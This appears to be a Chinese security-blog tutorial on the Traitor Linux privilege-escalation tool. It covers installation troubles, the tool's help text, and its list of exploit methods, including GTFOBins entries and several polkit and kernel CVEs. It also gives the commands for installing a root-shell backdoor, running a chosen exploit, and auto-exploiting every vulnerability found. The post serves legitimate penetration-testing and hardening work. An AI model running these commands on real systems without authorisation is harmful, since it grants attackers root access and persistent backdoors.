1.1Traitor简介
"Traitor" 是一个用于发现系统中潜在漏洞和配置错误的命令行工具。通过运行不同的命令和标志,可以检测可能存在的提权漏洞,并尝试利用这些漏洞获取 root shell。该工具支持多种标志,如 -p 用于指定当前用户密码、-a/--any 用于查找各种漏洞并尝试利用它们、-e/--exploit 用于专门利用特定漏洞获取 root shell。
Traitor 旨在帮助系统管理员和安全研究人员识别潜在的安全风险,并加强系统安全性。Traitor 打包了一堆方法来利用本地的错误配置和漏洞以获取 root shell:
几乎所有 GTFOBins
可写的 docker.sock
CVE-2022-0847 (脏管道)
CVE-2021-4034 (pwnkit)
CVE-2021-3560
1.2下载及安装
1.通过go直接安装失败
(1)直接go语言安装
CGO_ENABLED=0 go install github.com/liamg/traitor/cmd/traitor@latest
执行后显示错误:
CGO_ENABLED=0 go install github.com/liamg/traitor/cmd/traitor@latest
提示失败信息
go: github.com/liamg/traitor/cmd/traitor@latest: module github.com/liamg/traitor/cmd/traitor: Get "https://proxy.golang.org/github.com/liamg/traitor/cmd/traitor/@v/list": dial tcp 172.217.163.49:443: connect: connection refused
估计无法直接连接github
(2)另外一个命令安装也失败
CGO_ENABLED=0 go get -u github.com/liamg/traitor/cmd/traitor
提示失败信息:
go: go.mod file not found in current directory or any parent directory.
'go get' is no longer supported outside a module.
To build and install a command, use 'go install' with a version,
like 'go install example.com/cmd@latest'
For more information, see https://golang.org/doc/go-get-install-deprecation
or run 'go help get' or 'go help install'.
(3)chatgpt询问安装命令
go install github.com/liamg/traitor/cmd/traitor@latest
提示还是失败,这个应该是网络的原因
go install github.com/liamg/traitor/cmd/traitor@latest
go: github.com/liamg/traitor/cmd/traitor@latest: module github.com/liamg/traitor/cmd/traitor: Get "https://proxy.golang.org/github.com/liamg/traitor/cmd/traitor/@v/list": dial tcp 142.251.42.241:443: connect: connection refused
2.直接下载二进制文件
(1)git clone https://github.com/liamg/traitor.git
(2)直接releases 中下载https://github.com/liamg/traitor/releases
3.给二进制文件授权
chmod +x traitor386
chmod +x traitoramd64
chmod +x traitorarm64
注意:这里我删除traitor-386中的“-”符号。不同系统使用不同版本的程序。一般平台使用386比较多。
1.3基本使用命令
用法:
traitor [标志]
traitor [命令]
可用命令:
backdoor安装一个 root shell 后门
help获取任意命令的帮助信息
list列出所有可用的方法
setuid使用 setuid 包装指定的 shell
标志:
-a, --any 一旦检测到漏洞,立即尝试利用漏洞。在可能的情况下提供一个 shell。
-e, --exploit string 运行指定的漏洞利用程序,如果系统被发现存在漏洞。在可能的情况下提供一个 shell。
-h, --help 获取 traitor的帮助信息
-k, --skip strings 要跳过的漏洞利用程序 - 指定多次以跳过多个漏洞。
-p, --with-password 如果你知道密码,则提示用户输入密码。通过 sudo 可以提供更多 GTFOBins 的可能性。
使用 "traitor [command] --help" 了解更多有关命令的信息。
1.列出所有可用的方法
./traitor386 list
docker:writable-socket
polkit:CVE-2021-3560
polkit:CVE-2021-4034
kernel:CVE-2022-0847
gtfobins:apt-get
gtfobins:apt
gtfobins:ash
gtfobins:awk
gtfobins:bash
gtfobins:bundler
gtfobins:busctl
gtfobins:busybox
gtfobins:byebug
gtfobins:capsh
gtfobins:check_by_ssh
gtfobins:check_cups
gtfobins:cowsay
gtfobins:cowthink
gtfobins:cpan
gtfobins:cpulimit
gtfobins:crash
gtfobins:csh
gtfobins:dash
gtfobins:dmesg
gtfobins:dpkg
gtfobins:eb
gtfobins:ed
gtfobins:emacs
gtfobins:env
gtfobins:ex
gtfobins:expect
gtfobins:find
gtfobins:flock
gtfobins:ftp
gtfobins:gawk
gtfobins:gcc
gtfobins:gdb
gtfobins:gem
gtfobins:ghc
gtfobins:ghci
gtfobins:gimp
gtfobins:git
gtfobins:gtester
gtfobins:hping3
gtfobins:iftop
gtfobins:ionice
gtfobins:irb
gtfobins:journalctl
gtfobins:jrunscript
gtfobins:ksh
gtfobins:less
gtfobins:logsave
gtfobins:ltrace
gtfobins:lua
gtfobins:mail
gtfobins:make
gtfobins:man
gtfobins:mawk
gtfobins:more
gtfobins:mysql
gtfobins:nano
gtfobins:nawk
gtfobins:nice
gtfobins:nmap
gtfobins:node
gtfobins:nohup
gtfobins:nsenter
gtfobins:pdb
gtfobins:perl
gtfobins:pg
gtfobins:php
gtfobins:pic
gtfobins:pico
gtfobins:pry
gtfobins:psql
gtfobins:puppet
gtfobins:python
gtfobins:rake
gtfobins:rlwrap
gtfobins:rpm
gtfobins:rpmquery
gtfobins:rsync
gtfobins:ruby
gtfobins:run-mailcap
gtfobins:run-parts
gtfobins:rview
gtfobins:rvim
gtfobins:scp
gtfobins:screen
gtfobins:script
gtfobins:sed
gtfobins:service
gtfobins:setarch
gtfobins:sftp
gtfobins:slsh
gtfobins:socat
gtfobins:split
gtfobins:sqlite3
gtfobins:ssh
gtfobins:start-stop-daemon
gtfobins:stdbuf
gtfobins:strace
gtfobins:tar
gtfobins:taskset
gtfobins:tclsh
gtfobins:time
gtfobins:timeout
gtfobins:tmux
gtfobins:unshare
gtfobins:valgrind
gtfobins:vi
gtfobins:vim
gtfobins:vimdiff
gtfobins:watch
gtfobins:wish
gtfobins:xargs
gtfobins:zip
gtfobins:zsh
2.安装后门
sudo ./traitor386 backdoor install
后门程序/bin/initrd
3.利用漏洞提权
traitor -p -e docker:writable-socket
使用-e/--exploit 标志运行命令,尝试利用特定的漏洞并获取 root shell,例如使用kernel:CVE-2022-0847的命令为:traitor -p -e kernel:CVE-2022-0847
4.利用所有可以利用的漏洞进行提权
./traitor386 -a
1.4总结
对traitor在kali中进行了实际测试,通过traitor -a可以对所有可以利用的漏洞进行自动提权。是Linux提权直接辅助工具。Linux提权其他可以参考的工具有:
https://gtfobins.github.io/gtfobins/aws/#shell
https://github.com/jondonas/linux-exploit-suggester-2
https://github.com/The-Z-Labs/linux-exploit-suggester
https://github.com/sleventyeleven/linuxprivchecker
https://github.com/rebootuser/LinEnum
https://github.com/AlessandroZ/BeRoot
后记:折腾了一天,终于基本弄明白了traitor具体使用,有些文章就是直接照搬或者抄袭,都没有实际测试过。本次测试遇到一些坑,国内基本很难直接调试通,被封锁是一个原因。安装golang后,执行程序出现错误。大概率是网络不通的原因。每一次的实战,实践你都会前进一点,日积月累你就发现你技术提高了很多。喜欢的朋友可以点赞和转发。
原文始发于微信公众号(小兵搞安全):Linux提权辅助神器Traitor
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论